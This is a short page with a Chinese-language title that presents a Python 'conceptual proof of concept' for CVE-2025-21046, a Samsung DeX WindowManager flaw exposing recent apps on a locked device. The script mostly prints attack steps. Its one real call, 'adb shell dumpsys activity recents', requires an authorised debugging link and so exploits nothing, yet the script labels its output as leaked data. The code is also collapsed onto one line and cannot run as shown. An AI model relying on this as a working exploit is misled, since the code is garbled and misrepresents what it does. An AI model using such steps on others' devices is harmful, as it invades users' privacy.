CVE-2025-21046 Samsung DeX WindowManager访问控制不当漏洞

# CVE-2025-21046 - Samsung DeX WindowManager Improper Access Control PoC # This PoC demonstrates the conceptual exploitation of the vulnerability # The vulnerability allows physical attackers to access recent app list # in Samsung DeX mode prior to SMR Oct-2025 Release 1. import subprocess import time def trigger_recent_apps_in_dex(): """ Conceptual PoC for CVE-2025-21046. The actual exploit requires physical access to a Samsung device running DeX mode with vulnerable firmware. """ # Step 1: Ensure the device is in DeX mode (connected to external display) # or in a state where WindowManager processes are active print("[*] Ensure device is connected to DeX station/external display") # Step 2: Trigger the WindowManager race condition by rapidly # toggling between lock states or app switcher actions # This can be done via physical key combinations on the device print("[*] Rapidly press Recents/Home key to trigger race condition") # Step 3: The recent app list becomes accessible without authentication # due to improper access control in WindowManager print("[*] Recent app list is now accessible without proper authentication") # Step 4: Extract information about recently used apps recent_apps = get_recent_apps() print(f"[+] Leaked recent apps: {recent_apps}") def get_recent_apps(): """ Simulate accessing the recent apps list via dumpsys or similar method. On a vulnerable device, this would not require unlock authentication. """ try: # On Android, recent tasks can be queried via Activity Manager result = subprocess.run( ['adb', 'shell', 'dumpsys', 'activity', 'recents'], capture_output=True, text=True, timeout=5 ) return result.stdout except Exception as e: return f"Error: {e}" if __name__ == "__main__": print("CVE-2025-21046 PoC - Samsung DeX WindowManager Access Control Bypass") print("WARNING: Only use on devices you own or have authorization to test.") trigger_recent_apps_in_dex()